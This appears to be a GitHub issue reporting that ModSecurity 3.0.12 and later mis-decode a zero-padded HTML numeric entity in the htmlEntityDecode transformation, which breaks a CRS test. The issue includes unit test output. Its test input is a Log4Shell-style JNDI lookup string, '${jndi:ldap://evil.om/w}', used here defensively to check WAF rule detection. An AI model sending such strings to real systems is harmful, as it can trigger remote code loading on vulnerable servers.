You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The following string should be decoded into {: { but is instead decoded into \x0000000000000000000000000000000000000000000000123;.
I checked this behavior and can confirm that t:htmlEntityDecode produces the output as you wrote. I added an extra case into htmlEntityDecode.json and it produced the same output:
$ ./unit_tests test-cases/secrules-language-tests/transformations/htmlEntityDecode.json
ModSecurity 3.0.13 - tests
(options are not available -- missing GetOpt)
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 0 tests failed.
test-cases/secrules-language-tests/transformations/htmlEntityDecode.json:htmlEntityDecode... 1 tests failed.
Total >> 8
Test failed. From: test-cases/secrules-language-tests/transformations/htmlEntityDecode.json
{
"ret": "1"
"type": "tfn"
"name": "htmlEntityDecode"
"input": "${jndi:ldap://evil.om/w}"
"param": ""
"output": "${jndi:ldap://evil.om/w}"
}
Expecting: "${jndi:ldap://evil.om/w}" - returned: "$\x0000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}"
Ran a total of: 8 unit tests - 1 failed.
Describe the bug
The following string should be decoded into
{
:{
but is instead decoded into\x0000000000000000000000000000000000000000000000123;
.Logs and dumps
Output of debug log:
Notice: Be careful to not leak any confidential information.
To Reproduce
Run CRS test
944150-23
withowasp/modsecurity:4.11.0-nginx-202502070602
.Expected behavior
The following string should be decoded into
{
:{
.Server (please complete the following information):
Rule Set (please complete the following information):
Additional context
The changes in v3.0.12 appear to have broken entity decoding. The test works with v3.0.11.
The text was updated successfully, but these errors were encountered: